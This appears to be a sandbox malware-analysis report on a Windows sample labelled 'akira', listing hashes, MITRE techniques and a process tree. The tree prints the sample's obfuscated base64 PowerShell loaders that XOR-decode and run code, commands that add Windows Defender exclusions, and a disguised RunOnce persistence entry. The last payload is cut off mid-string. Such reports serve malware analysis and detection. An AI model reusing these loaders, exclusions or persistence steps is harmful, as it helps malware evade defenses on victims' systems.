ca417e2fc42eaf7902112b8e221c9d669375385c741e776ca29f7192549b9b5e

Analysis

max time kernel
127s
max time network
114s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/07/2026, 01:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-10_456376c3291979b7b1f7d6d8414dc84f_akira.exe
Size 3.5MB
Sample260710-btxelaby3j
SHA256 ca417e2fc42eaf7902112b8e221c9d669375385c741e776ca29f7192549b9b5e
MD5 456376c3291979b7b1f7d6d8414dc84f
SHA1 857be232c3034d4118ade9762b62e4e165a8ceca
SHA512 fe146b8903a03456cbaf720b9291e973edc86ccb074ecc35e2311cb9c7321dbf0f386144b426984ed3635ad432692ab36d87e3ba30b7586387195a4e71ce465d
SSDEEP 98304:W4px0t7A3RhVZsa0d1EO3J6A2Tsd2bfRCCMEH3E5:Mt8Ds9dqO3Q/Tsd+jMEXE
TLSH
T1EB06229EF9A02D38E996D1B41686C6F366D2B9564221257E3BE423F01D0FEDC0F18739
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5956	powershell.exe
4684	powershell.exe
2956	powershell.exe
1252	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4652	AppxService.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Uninstall 25.053.0175.0001 = "C:\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.DevHome_0wekyb1c8bbwe\\cache\\AppxService.exe"	2026-07-10_456376c3291979b7b1f7d6d8414dc84f_akira.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Uninstall 25.053.0175.0001 = "C:\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.DevHome_0wekyb1c8bbwe\\cache\\AppxService.exe"	AppxService.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Runs net.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
2428	powershell.exe
2428	powershell.exe
5832	powershell.exe
5832	powershell.exe
5832	powershell.exe
4684	powershell.exe
4684	powershell.exe
5764	powershell.exe
5764	powershell.exe
4684	powershell.exe
5764	powershell.exe
2956	powershell.exe
2956	powershell.exe
5848	powershell.exe
5848	powershell.exe
2956	powershell.exe
5848	powershell.exe
1252	powershell.exe
1252	powershell.exe
1252	powershell.exe
4752	powershell.exe
4752	powershell.exe
4752	powershell.exe
4740	powershell.exe
4740	powershell.exe
4740	powershell.exe
5956	powershell.exe
5956	powershell.exe
5956	powershell.exe
1676	powershell.exe
1676	powershell.exe
1676	powershell.exe
5348	powershell.exe
5348	powershell.exe
5348	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2428	powershell.exe
Token: SeDebugPrivilege	5832	powershell.exe
Token: SeDebugPrivilege	4684	powershell.exe
Token: SeDebugPrivilege	5764	powershell.exe
Token: SeIncreaseQuotaPrivilege	4684	powershell.exe
Token: SeSecurityPrivilege	4684	powershell.exe
Token: SeTakeOwnershipPrivilege	4684	powershell.exe
Token: SeLoadDriverPrivilege	4684	powershell.exe
Token: SeSystemProfilePrivilege	4684	powershell.exe
Token: SeSystemtimePrivilege	4684	powershell.exe
Token: SeProfSingleProcessPrivilege	4684	powershell.exe
Token: SeIncBasePriorityPrivilege	4684	powershell.exe
Token: SeCreatePagefilePrivilege	4684	powershell.exe
Token: SeBackupPrivilege	4684	powershell.exe
Token: SeRestorePrivilege	4684	powershell.exe
Token: SeShutdownPrivilege	4684	powershell.exe
Token: SeDebugPrivilege	4684	powershell.exe
Token: SeSystemEnvironmentPrivilege	4684	powershell.exe
Token: SeRemoteShutdownPrivilege	4684	powershell.exe
Token: SeUndockPrivilege	4684	powershell.exe
Token: SeManageVolumePrivilege	4684	powershell.exe
Token: 33	4684	powershell.exe
Token: 34	4684	powershell.exe
Token: 35	4684	powershell.exe
Token: 36	4684	powershell.exe
Token: SeDebugPrivilege	2956	powershell.exe
Token: SeDebugPrivilege	5848	powershell.exe
Token: SeDebugPrivilege	1252	powershell.exe
Token: SeIncreaseQuotaPrivilege	5848	powershell.exe
Token: SeSecurityPrivilege	5848	powershell.exe
Token: SeTakeOwnershipPrivilege	5848	powershell.exe
Token: SeLoadDriverPrivilege	5848	powershell.exe
Token: SeSystemProfilePrivilege	5848	powershell.exe
Token: SeSystemtimePrivilege	5848	powershell.exe
Token: SeProfSingleProcessPrivilege	5848	powershell.exe
Token: SeIncBasePriorityPrivilege	5848	powershell.exe
Token: SeCreatePagefilePrivilege	5848	powershell.exe
Token: SeBackupPrivilege	5848	powershell.exe
Token: SeRestorePrivilege	5848	powershell.exe
Token: SeShutdownPrivilege	5848	powershell.exe
Token: SeDebugPrivilege	5848	powershell.exe
Token: SeSystemEnvironmentPrivilege	5848	powershell.exe
Token: SeRemoteShutdownPrivilege	5848	powershell.exe
Token: SeUndockPrivilege	5848	powershell.exe
Token: SeManageVolumePrivilege	5848	powershell.exe
Token: 33	5848	powershell.exe
Token: 34	5848	powershell.exe
Token: 35	5848	powershell.exe
Token: 36	5848	powershell.exe
Token: SeIncreaseQuotaPrivilege	5848	powershell.exe
Token: SeSecurityPrivilege	5848	powershell.exe
Token: SeTakeOwnershipPrivilege	5848	powershell.exe
Token: SeLoadDriverPrivilege	5848	powershell.exe
Token: SeSystemProfilePrivilege	5848	powershell.exe
Token: SeSystemtimePrivilege	5848	powershell.exe
Token: SeProfSingleProcessPrivilege	5848	powershell.exe
Token: SeIncBasePriorityPrivilege	5848	powershell.exe
Token: SeCreatePagefilePrivilege	5848	powershell.exe
Token: SeBackupPrivilege	5848	powershell.exe
Token: SeRestorePrivilege	5848	powershell.exe
Token: SeShutdownPrivilege	5848	powershell.exe
Token: SeDebugPrivilege	5848	powershell.exe
Token: SeSystemEnvironmentPrivilege	5848	powershell.exe
Token: SeRemoteShutdownPrivilege	5848	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3032 wrote to memory of 3528	3032	2026-07-10_456376c3291979b7b1f7d6d8414dc84f_akira.exe	86
PID 3528 wrote to memory of 5340	3528	net.exe	88
PID 3032 wrote to memory of 2428	3032	2026-07-10_456376c3291979b7b1f7d6d8414dc84f_akira.exe	89
PID 4652 wrote to memory of 2180	4652	AppxService.exe	93
PID 2180 wrote to memory of 3164	2180	net.exe	95
PID 4652 wrote to memory of 5832	4652	AppxService.exe	96
PID 5832 wrote to memory of 4684	5832	powershell.exe	98
PID 4652 wrote to memory of 5764	4652	AppxService.exe	100
PID 5764 wrote to memory of 2956	5764	powershell.exe	102
PID 4652 wrote to memory of 5848	4652	AppxService.exe	104
PID 2428 wrote to memory of 1252	2428	powershell.exe	107
PID 3032 wrote to memory of 4752	3032	2026-07-10_456376c3291979b7b1f7d6d8414dc84f_akira.exe	110
PID 4652 wrote to memory of 4740	4652	AppxService.exe	112
PID 4752 wrote to memory of 5956	4752	powershell.exe	114
PID 3032 wrote to memory of 1676	3032	2026-07-10_456376c3291979b7b1f7d6d8414dc84f_akira.exe	116
PID 3032 wrote to memory of 5348	3032	2026-07-10_456376c3291979b7b1f7d6d8414dc84f_akira.exe	118

C:\Users\Admin\AppData\Local\Temp\2026-07-10_456376c3291979b7b1f7d6d8414dc84f_akira.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-10_456376c3291979b7b1f7d6d8414dc84f_akira.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Windows\system32\net.exe
  "net" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3528
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:5340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand JABlAG8AYwBoAHEAagA9ACcASABFAEUARABKAEQAQQBrAFoAZwBjAGkAZQBpAGsASABFAEUAQQBIAE4AagBBAHoAZABRAFEAVgBBAFEAYwBkAEsAaAB3AGYASQB3AGsAZABUAHcAQQArAGMAVgBJAHoASwBoADgAMQBmAFQARQBkAFkAUQBZAFQAZAB4AHMAQgBLAGsARQBBAEsAeABrAHoAQgBqAGMAVgBBAEYASQBGAEUAQwBWAGsASgB4AG8AUABjAFIAZwB0AGMAVgBJAC8ASwBqAFEAVABOAFEAawBkAGIAUgA4AFUAWAB6AFUARQBFAEUAQQBFAEsAeAA4AGYAWQBVAGMAdQBBAEIAdABBAEsAawBBADkATwBqAEUAbQBkAFIAcwBUAGQAUQBRAFcAQQB3AHMAMQBDAEIAdwBtAFQAeQBVAFUAQQBEAFUASQBLAGsATQBwAEQAZwBrAE4AQgBnAE0AVgBXAHcAQQBmAEEAdwBzAFEATwBBAFUAbgBZAFEAbwB1AFcAeQBFAGkATABTAFYAawBEAGoAQQB6AGQAZwBjAGgAQQBBADgARQBFAHoAVgBvAGYAdwBaADUAWgBVAFkAVgBkAFQAWQBXAEcAagBVADkASgB3AGsATgBZAFEAWQA9ACcAOwAkAHEAZQB5AGcAcQBxAHMAbwA9ACcASQByAFEATABTAEoANwBzAHcAMgBjAHEAJwA7ACQAbQB1AGUAZQA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABlAG8AYwBoAHEAagApADsAJABnAG8AegB1AG4AdABkAGQAPQAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAKABmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgACQAbQB1AGUAZQAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJABtAHUAZQBlAFsAJABpAF0ALQBiAHgAbwByAFsAYgB5AHQAZQBdACQAcQBlAHkAZwBxAHEAcwBvAFsAJABpACUAJABxAGUAeQBnAHEAcQBzAG8ALgBMAGUAbgBnAHQAaABdAH0AKQApACkAOwBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZwBvAHoAdQBuAHQAZABkACkAKQB8AGkAZQB4AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand JABiAHAAdgB4AG8AcAA9ACcATgAzAGcAQgBIAFIARQAvAE0ARABGAGwATQBUAE0AcABPADMAawBGAEQAeABFAG8ASQB6AEoAUwBTAGgAMAB6AEEAUwBVAGQARwBpAGcARwBHAFQAWgA1AE8AawBnAGQAQQBTAFkAMwBSAEIAQQBHAE4AegBCAFUAUABBAEUAdgBBAFgAZwBDAEUAagBnAG8AVQBBAEYAUwBTADAAZwByAE8AeAB4AG0ASABqAHMAVQBKAHkANQBxAE8AawBnAFIAQQBRADAAUgBEAEMAZwBHAE8AeQBsAFQARgBDADgAcQBPADMAawBHAEUAagA0AEUATgAzAEYAcABTAHcARgB1AEEAWABrAC8AQQB4AEEAOQBJAHkAMQBVAFAAaAA0ADQASwBEAEkAMwBNAFQAMAA5AEcAUgBOAFQAUwB5ADgAbQBBAFgAbwByAE4AeQBnAFcAVQBEAFYAUwBGAFEARQBkAEEAUQBNAFIATQBDAHMASgBNAHkAMQA2AEEAQgBvAHgASwB3AGgAaQBJAGkAZwBKAEsAeQB4ADUAUAB6AE4AdQBBAEMAQQBWAEQAegBzAFMAVQBCADEAUgBMAGsAdwAwAEEASABnADMASQBSAFkAWgBEAFQAWgBxAEsAagBzAFcAQQB4AHcAQgBIAGkAZwBHAFYAWABnAD0AJwA7ACQAYwBmAHEAaQB3AHMAYwA9ACcAYgBLAFMAdQByAFEAYQBFADAAeQB5AF8AJwA7ACQAdwB3AG8AbABqAGYAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBwAHYAeABvAHAAKQA7ACQAaAB1AHEAZgB2AG0AZAA9ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAAoAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAJAB3AHcAbwBsAGoAZgAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJAB3AHcAbwBsAGoAZgBbACQAaQBdAC0AYgB4AG8AcgBbAGIAeQB0AGUAXQAkAGMAZgBxAGkAdwBzAGMAWwAkAGkAJQAkAGMAZgBxAGkAdwBzAGMALgBMAGUAbgBnAHQAaABdAH0AKQApACkAOwBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAaAB1AHEAZgB2AG0AZAApACkAfABpAGUAeAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand JABlAGYAcgBmAHYAZwBiAD0AJwBLAEEAdwBjAEIAUQBBADIARgBUAHcAZwBLAFQATgB4AEsAdwBJAFkATwBnAEUANQBDAFcAUQBZAFAAVQBJADkATgAzAFkANgBCAEEAQQA1AEQAUwBRAG0ASQBoAGsAOQBOAHcAdwBtAEgAZwBZAE0AQwBTAFEAaABMAFQAUQA3AEwAaQBnAEkASABnAFkATQBGAFMASQBtAFcAVAB3AEMATwBBAE0ANgBHAHcAQQBtAEsAMgBRAG4AUABFAEoAKwBMAFMAOABJAEEAZwBBAGsAQwBXAFUAaABCAEQAZwBrAEEAQwBvADkAQQBTADgAeQBjAGgAcwBiAFAAVQBNAGsATABUADQAZgBCAFEAVQBNAE4AegBnAGcATQBoAFUAdgBNAGgAYwB1AEoAagA0ADUARgBpAEEAWABXAEQAdwBuAE8AQgBNACsAWAB3AFkAbQBFAFQAOABVAEwAVABRAHkAQQB6ADAAdQBWAGkAMABuAEMAVABnAGcATABTAFEAaQBCAGcAZABkAFAAagAwAE0ATgB6AGcAYgBXAFMATQB2AEwAaABFADYAVwBnAGMAbQBBAFMARQBZAEwARABBAHgAQQBIAGMAdQBBAGcAYwBQAEYAVwBFAEwATABDAEEAZwBBAFgAWQBZAFAAegAwADUARgBUAHMATABLAFUATQBlAEEAQwBrAEEARgBnAEEAMgBFAG0ATQBOAEUAeQBBACsATwBBAE4AZABHAHoANQBTAEQAagBNAFMATwBUAEEASABPAEIAdwBQAEcAagBCAFQARABTAFUAWQBQAFQAeAA0AEsAdwBJAGkAVwB3AGQAUwBGAFQAZwBnAE8AVQBjAGIATwB4AE4AWgBCAFEAWgBUAGQAMgBNAE4ARQB5AEEAaQBBAEgAWgBWAEgAegAwADIATgBEAE0AUwBPAFQATQBqAEEAQwBvADYASABRAFkAbABOAEcATQBJAEwAVQBzACsAQQBBAE0AVQBBAHcAVgBUAEkARABNAFMATwBUAE0AagBBAEMAbwA2AEgAUQBZAGwATgBHAE0ASQBMAFUATgA0AEIAeABNAGYAQwBUAFEAeQBCAGoAOABnAEIAQwBRADcAQQBBAEEAZgBXAFEAQgBUAEwAeQBRAGcATABTAGMAdgBLAFEAYwArAEgAdwBVAE0ARQBTAEEAbgBLAFUAYwBNAEEASABjADYARwB3AEEAaQBCAGkAQQBZAFcAUwBNAHYATAB3AGMAdABHAGoAMAAyAGMAagA4AEwASwBVAE0AOQBBAEgAYwA5AEMAUwA0AG0AQwBTAEkAZwBXAEEASQBnAEEAegAwAEgAQwBRAEUAYgBOAEQAOABnAFcARQBzADcAQQBBAE0AMgBIAEEAVQBpAEIAbQAwAEwASwBTAEEANQBBAHkAawA2AEcAZwBFAG4ATgBEADgAZwBXAEMAQQA4AEEAQwBrAEkARgB5AGcASwBjAGoAZwBuAEkAaQBNAG4ATAB3AGMAYgBDAFMANABtAE4AeQBVAFkAUABVAE4AOABMAGkAOABpAEcAQQBBADIAYwBtAFEASgBQAEUASgAvAEwAVAAwACsAWABRAGQAUwBGAFMAYwBqAEwAVABoADQASwB3AEIAYwBDAFQAWgBUAEUAVwBRAE8AUABEAHcAaQBBAHcATQA2AEIAUQBBADIAUAB6AGcAWQBMAEMAQQBnAEEAWABZAGYAQwBTAGcAMwBGAFQAdwBoAFcAQQBZAFoATwB4AHcAKwBBAFMAMABpAEYAUwBJAGcAVwBBAG8ANwBPAEMAawBZAEEAUwBzAGIATQB5AFEAWQBBAHoATQBuAEsAQQB3AEkARgBBAEEAbQBQAHoAcwBiAEIAQwBNADkATQAzAFoAVgBYAHcAWQBQAEYAagBNAE8AUABSAFoANABLAHcAQQB0AEgAaQAwAHAATgBHAE0ASQBMAFQAdwArAEEASABZAGMAQgBnAFUAWQBCAG0AMABMAEsAUwBCADcAQQBYAGMAKwBIAFEAVQBtAEQAVwBRAFYARQB5AEEAKwBPAEEATgBkAEcAegA1AFMARABpAEUAVwBCAHkAUgA4AEIAZwBjAEwARwBTAGcAaQBCAGoAOABtAFcAVAB4ADQAQQBBAE0ARQBCAHcAQQBpAGMAaABBAGcAVwBTAFEAOQBCAGcAYwBBAEMAaQBzAGIATgBEADgAZwBNAGkAQgA5AEEAegAwAHQAVgB5ADAAbQBLAHoAawBMAEsAUgBVAGoATwAzAFoAVgBHAEEAVQBNAEEAUwBZAE8AQQBTAEEAawBBAFgAWQBpAEYAdwBVADUAQgBXAFEAagBQAFUAcwA5AEsAUgBjAHUAVwBTADAAaQBGAFQANABnAFcARQBzADUATwB4AE0AZgBHAHoAWQBtAEUAUwA0AGIAVwBUAGcANABBAFEAdwArAEgAZwBaAFQAYwB6AE0AawBPAFQAQQBrAEEAQQB3AGkAQQBpADAAcABOAEQATQBJAFEAVABrAHYAQgBRAGMAUABDAFEASQAxAE4ARwBNAGsATwBUAEEAawBBAEEAdwBpAEEAaQAwAHAATgBHAE0ASQBMAFEASQA1AE8AQgBOAGQAVwBpADAAbABkAHoATQBJAEwAUQBJADUATwBCAE4AZABXAGkAMABwAE0ARABNAFUAVwBCAG8AawBBAFMAawA1AEcAagBCAFQARABTAFUAWQBQAFQAeAA0AEsAdwB3AGYAQwBTADQAbgBmAHoATQBPAFAAVQBjAGsASwB3AGMAKwBHAEEAWgBUAFAAeQBjAFkAQgB3AFkAbgBLAHcAeABjAFcAUwB0AFMAZAAyAE0AawBQAGcAWQA0AE8AQwAwAHQAQQBTADQAbQBDAFMASQBnAFcAQQBJAGcAQQB6ADAASABDAFEARQBiAE4ARAA4AGcAQgB4ADQAeABPAEMAMAB0AFYAeQAwAGsAYwBqAGcAbQBFADAATQBjAE8AMwBZAEUAQQBqADQAcABFAFMAYwBZAFAAUwBBAGQATwB4AHcAaQBIAEQAVQAyAEMAVwBRAGoAUABVAHMAOQBLAHcAZABkAEsAQQBFAG0ARQBUADQAbQBNAGkAQQBrAEsAdwBjAEkASwBpAHMATgBQAHcASQBoAFcAQwBRAHgAQQBYAFUAVQBMAEQANABtAGQAaQBRAGcAQgBnAG8ASwBBAFEAdwB1AEsAegAwADUARgBUAHcAYQBMAHcAbwArAE8AMwBZAHEASABUAHcAbgBCAFQAdwBiAFcAQQBZAGcATwBIAFkANgBGAEQAdwBrAGQAaQBRAGIAVwBUAGcAKwBBAFgAWgBWAEEAdwBBAGkAYwBnAHcAagBQAFUAYwBqAEEASABjAEkARgBDAGcASwBGAFQAZwBtAEEAUgBvACsAQQBCAE0ANgBDAEMAawBwAEkAegBnAGoAVwBSADQAaABMAHgATQBoAFcAagAwAE0ARABXAGMAWQBQAEEAbwBpAE8AeABNAGkAQQBUADQAMwBQAHgAWQBoAEkAagBCADgATgAzAFkANgBGAHcAQQBNAEsAegA0AFkATwBVAGMAawBCAHcATQA1AEEAQwBzAGIATgBEADgAagBXAEUAcwBtAEIAZwBNAEkAQQBEADQAbQBmAHoATQBTAE8AVABNAG4ATQBIAFkANgBYAGkAZwAwAEYAVAB3AG0ATABTAGMANABMAGkAOABxAEIAVAA0AGsARgBUAHcAbgBNAGoAOABuAEwAeABjAEgARwB6AFkAbQBBAFcAUQBZAE8AVQBjAEsATwBBAE0AKwBKAHcAWgBTAEUAUwAwAGgARQB4AFUAeABMAHoAMABIAEcAegBVADIARgBUADgAVwBQAFIANAA5AEIAaAB3ACsAQQBnAGMAWQBJAEcAVQBQAEUAeABsAC8ATABUADAAKwBYAFQAMABQAEYAVwBJAGoAQQB6AE4AeABLAHcARgBaAEEAZwBBAFkAZABnAEEAYgBXAEIAbwBrAE8AQQB3ADYASABUADQAMgBGAFEARQBiAE0AagB3ADYATgBBAHcAbQBIAGoANQBUAEkAegBnAGgAQQB6AE0AOABNAEEATQBxAEgAZwBZAHAATABEAE0ATwBQAHoAUgA0AEsAdwBjACsASABBAFoAVABJADIAUQBZAFcAQgBZAGoAQQBEADQAZgBXAFMANABtAEEAUwBZAG0ATABUAHgAOABCAHgATgBZAEMAVABRAHkAQgBSAHMAWQBNAGgARQA4AE4AMwBZAGkAQQBUADQAMgBGAFcAVQBnAEwAUwBRAGoATgBBAE0AcQBGAEEAVgBRAEIAUwAwAGoAUABVAGMAaQBBAHgAdwB1AEIAZwBZAGkAQgBpAEEAVQBNAGoAdwBrAEEAUwA4AEEAQgBTADAAaQBGAFcASQBZAEkAaQBRAGoATwB4AE0AYgBDAFMAZwAwAFAAeQBJAFkAVwBFAHMAOQBOAEEAdwBBAEcAVAA0AHkAQgBSADQAZwBCAEMAQQBrAEEAUwBrAHEAQgBBAEEAbQBLADIAWQBZAE8AVABNADgATgB5AG8ANgBHAHoAQQBtAEUAVwBZAFkAUABRAFUAdgBNAFEATQBBAEEAQQBVAG0ARQBTADQAbQBMAGcARgAvAEsAQQB3AGMAQQBnAEEAMgBIAFcARQBuAEkAaQBnADkASwB3AEIAYwBDAFQAQQBNAEUAVwBjAE8AUABEAHcAaQBBAHcATQA2AEIAUQBBADIAUAB6AGcAWQBMAEMAQQBnAEEAWABZAFkATwBqADQANQBGAFcAUQBqAFAAVQBjAG0AQQBYAFUAaQBBAGcAQQBpAEIAaQBBAFQAUABRAG8ANwBBAEgAYwBJAE8AZwBBAG0AQQBTADAAbQBMAHgANABsAE4AbgBaAFoATABUADAANQBGAFcAUQBZAE0AagBnADQATwBCAHcAaABDAFMAZwAwAEYAUwBJAGcAQgBDAEEAYwBCAGcATgBWAEcAVABjADIASABSAHcAZwBXAEIANAA5AE8ASABSAFYARwB6AFUATQBBAFcAUQBtAEwAUwBRAHgAQQB4AE0ANgBGAEMAMABpAGQAZwBBAG0ATABUAFEAeABCAGcASQBJAEEAVAA0ADIAYwBoAFkAbQBCAHoAUQA0AEEAQQBNAHEAQgB3AFkAbQBFAGoATQBPAFAAeABvADQATwBBAE0AKwBBAGcAWQBMAE4ARwBNAEkASQBnAEkAawBCAGgATQAyAFcAdwBFAHAASABTAEUATwBBAFMAUgA4AE8AQgBNAGkAWAB3AEEAbQBLAHkASQBnAEIAaQBBADQAQQBCAE0ANgBJAHcAVQAyAGQAaQBRAG0ASwBUAE4AeABLAHcAYwBJAFAAegBJAGwAQgBRAEEASQBFAEEARgAvAEsAQQB3AGMAQQBnAEEAMgBIAFcARQBuAEkAaQBnADkATABpADgAcQBIAFEAWQBtAGYAbQBjAFIATABUAFEAeABPAEEASQArAEEAZwBjAE0AZABpAFEAZwBCAHoAUgA0AE8AQgBjAHQAVgB5ADAAaQBGAFQAawBiAFAAUQBvAHkATwBCAEEAZgBXAFMANABwAE4AegBnAG0AUABTAGgAOQBCAHcAdwAyAEcAeQBnAE4ARABUAGcAaABXAFMAQQBnAEEAUwBvACsASgBBAFkAUABGAFQAZwBoAEIAQwBnAGcAQQBBAGMAdABWAHkAMABpAEkAdwBVAFUATABqADgALwBOAGgAYwBQAFcAUwBzAFkARgBXAEkAWQBNAGkAUQBsAEIAeAB3AEUAWABBAFkASQBjAGcAYwBZAE0AagB4ADQATwB4AHcAbQBYAGoAVgBUAGYAbQBVAGcAQgBDAE0AdgBNAGgAYwB0AFgAaQBzAGwATgBHAE0ASQBJAGcASQBrAEIAaABNADIAVwB3AEUAcABIAFMARQBPAEIAagB4ADQATwB4AHcAbQBYAGoASgBUAEwAegBnAGcAQQBUAFIANgBPAHgATQBBAEgAVAAwADIARABTAGMAWQBPAFQATgB4AEsAdwBjACsAWABnAGMAUABFAFQAZwBOAEUAQQBFAGoAQgB5AGsANgBYAHoANABQAEsAMgBBAG0AQgAwAFkAOQBOAEgAWQBxAEgARAA0ADMARgBTAEkAWABCAEMAUQA5AEsAdwBCAGMAQwBTADQAcABGAFMAMABtAFAAUwBkAC8ATABUADAAKwBXAEQANAA1AEUAVABrAG4ATQBoAHAANgBBAEMAMQBaAEwAQQBZAG0AUAB5AEkAbQBXAGkAQQBrAEEAQgBNAHEARwB6ADQAbgBDAFcAUQBiAE0AagBoADQASwB3AEIAYwBDAFMANABtAEgAVAB3AGcASQBqAHcAawBMAFQANABmAEIAVAAwAE0ARQBXAGMAYgBFAHoATgB4AEsAdwBjAGwAQgBTADgAaQBGAFQANABnAFcARQBzADUATwB4AE0AZgBHAHoASQBtAEEAUwA0AGoAVwBrAGMAZwBBAEIATQA1AEgAbABBAFEAQgBCAFUATABBAEEARgAvAE4AeQBrADYAQQBBAFUANQBDAFcAUQBZAE0AagBzADgATgAzAFkAaQBBAFQANAAyAEYAVwBVAGcATABTAFEAagBOAEEATQBxAEYAQQBVAFkAQgBpAEEAVABQAFQAeAA0AEEAeABOAFYARwB5ADAAaQBGAFMARQBqAE0AagBnAGwASwB3AGQAZABPAHcAYwBNAEsAegBvAFkAVwBDAFEAeABLAHcAYwArAFgAVAAwAFAARgBXAEkAagBBAHoATQA4AE4AdwB3AG0ASABnAFkATQBDAFMAUQBoAEwAVABRADcASwB3AGMAKwBCAGcAVgBTAEYAVAA0AG4ASQBoADQAOQBLAHcAZABkAE8AagA0ADUARgBXAFEAagBQAFUAYwBtAEEAVAAwAHQAQgBRAEUATQBFAFcAVQBZAEIAQgA1ADgAQgBpAGwAWQBDAFMAZwAzAEYAVAB3AGgAVwBBAFkASABPAHgATgBkAEEAaQAwAGkARgBUADAAWQBNAGgAWQBpAEsAdwBkAGQATwB6ADAANQBDAFMAWQBYAEwAVABSADQAQQB3AGMAdABCAFEAWgBUAGYAaQBjAGcATABTAGcANgBBAHcAYwB0AEcAagBZAG0ARQBTADQAYgBXAFQAZwA0AEEAUQB3ACsASABnAFoAVABjAHoATQBJAEwAVQBOADQAQgB4AE0AZgBDAFMAZwAwAEgAUwBJAGgAQgB6AHcAawBMAFQANABZAFYAdwA9AD0AJwA7ACQAZQBuAGwAdwByAGIAPQAnAGIARABsAG4AZABhAEcAVABCAGoAcgBIACcAOwAkAHMAagBtAHYAZwBmAGQAZAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABlAGYAcgBmAHYAZwBiACkAOwAkAGkAeQBsAHoAdAB6AD0AKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkACgAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAkAHMAagBtAHYAZwBmAGQAZAAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJABzAGoAbQB2AGcAZgBkAGQAWwAkAGkAXQAtAGIAeABvAHIAWwBiAHkAdABlAF0AJABlAG4AbAB3AHIAYgBbACQAaQAlACQAZQBuAGwAdwByAGIALgBMAGUAbgBnAHQAaABdAH0AKQApACkAOwBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEU